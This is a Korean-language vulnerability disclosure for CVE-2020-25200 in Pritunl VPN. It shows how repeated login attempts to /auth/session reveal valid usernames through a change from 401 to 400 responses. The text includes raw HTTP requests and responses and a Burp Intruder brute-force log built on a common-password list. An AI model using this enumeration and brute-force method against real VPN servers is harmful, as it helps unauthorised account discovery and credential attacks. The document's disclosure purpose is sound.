
CVE-2020-25200 익스플로잇: 반복적인 로그인 시도 후 HTTP 응답 코드 변경을 분석하여 유효한 Pritunl VPN 사용자 이름을 열거합니다.
CVE-2020-25200
Pritunl VPN 서버 - 영향을 받는 버전: Pritunl v1.29.2145.25 553bbd
=========================
Pritunl 1.29.2145.25은 일련의 /auth/session 로그인 시도를 통해 공격자가 유효한 VPN 사용자 이름을 열거할 수 있게 합니다. 처음에는 서버가 401 오류를 반환합니다. 그러나 사용자 이름이 유효하다면 20번의 로그인 시도 후 서버는 400 오류를 반환하기 시작합니다. 유효하지 않은 사용자 이름은 무기한 401 오류를 받게 됩니다.
=========================
이 취약점을 악용하려면 공격자는 동일한 사용자 이름으로 로그인을 반복적으로 무차별 대입하는 것을 시작해야 합니다. 처음에는 서버가 401 오류를 반환하지만, 20회 시도 후에는 사용자 이름이 유효한 경우 서버가 400 오류를 반환하기 시작합니다. 사용자 이름이 유효하지 않으면 서버는 계속해서 401 오류를 무기한 반환합니다. 따라서 400 오류를 수신하여 사용자 이름이 존재하는지 확인할 수 있습니다.
=========================
유효한 사용자 이름에 대한 HTTP 요청 및 응답(20회 시도 후):
POST /auth/session HTTP/1.1 Host: 192.168.1.18 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/json Content-Length: 40 Origin: https://192.168.1.18 Connection: close Referer: https://192.168.1.18/login
{"username":"pritunl","password":"paul"}
HTTP/1.1 400 Bad Request Cache-Control: no-cache, no-store, must-revalidate Content-Length: 76 Content-Type: application/json Date: Thu, 03 Sep 2020 22:42:39 GMT Expires: 0 Pragma: no-cache Strict-Transport-Security: max-age=31536000 X-Frame-Options: DENY Connection: close
{"error_msg": "Too many authentication attempts.", "error": "auth_too_many"}
=========================
유효하지 않은 사용자 이름에 대한 HTTP 요청 및 응답(20회 시도 후):
POST /auth/session HTTP/1.1 Host: 192.168.1.18 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/json Content-Length: 39 Origin: https://192.168.1.18 Connection: close Referer: https://192.168.1.18/login
{"username":"admin","password":"scott"}
HTTP/1.1 401 Unauthorized Cache-Control: no-cache, no-store, must-revalidate Content-Length: 83 Content-Type: application/json Date: Thu, 03 Sep 2020 22:42:43 GMT Expires: 0 Pragma: no-cache Strict-Transport-Security: max-age=31536000 X-Frame-Options: DENY Connection: close
{"error_msg": "Authentication credentials are not valid.", "error": "auth_invalid"}
========================= Burp Intruder 로그:
0 401 false false 370 1 123456 401 false false 370 2 password 401 false false 370 3 12345678 401 false false 370 4 qwerty 401 false false 370 5 123456789 401 false false 370 6 12345 401 false false 370 7 1234 401 false false 370 8 111111 401 false false 370 9 1234567 401 false false 370 10 dragon 401 false false 370 11 123123 401 false false 370 12 baseball 401 false false 370 13 abc123 401 false false 370 14 football 401 false false 370 15 monkey 401 false false 370 16 letmein 401 false false 370 17 696969 401 false false 370 18 shadow 401 false false 370 19 master 401 false false 370 20 666666 400 false false 362 <-------------- 길이와 응답 코드의 변화 21 qwertyuiop 400 false false 362 22 123321 400 false false 362 23 mustang 400 false false 362 24 1234567890 400 false false 362 25 michael 400 false false 362 26 654321 400 false false 362 27 pussy 400 false false 362 28 superman 400 false false 362 29 1qaz2wsx 400 false false 362 30 7777777 400 false false 362 31 xxxxx 400 false false 362 32 121212 400 false false 362 33 000000 400 false false 362 34 qazwsx 400 false false 362 35 123qwe 400 false false 362 36 killer 400 false false 362 37 trustno1 400 false false 362 38 jordan 400 false false 362 39 jennifer 400 false false 362 40 zxcvbnm 400 false false 362 41 asdfgh 400 false false 362 42 hunter 400 false false 362
<>
=========================
보안 연구원 - Lukasz Studniarz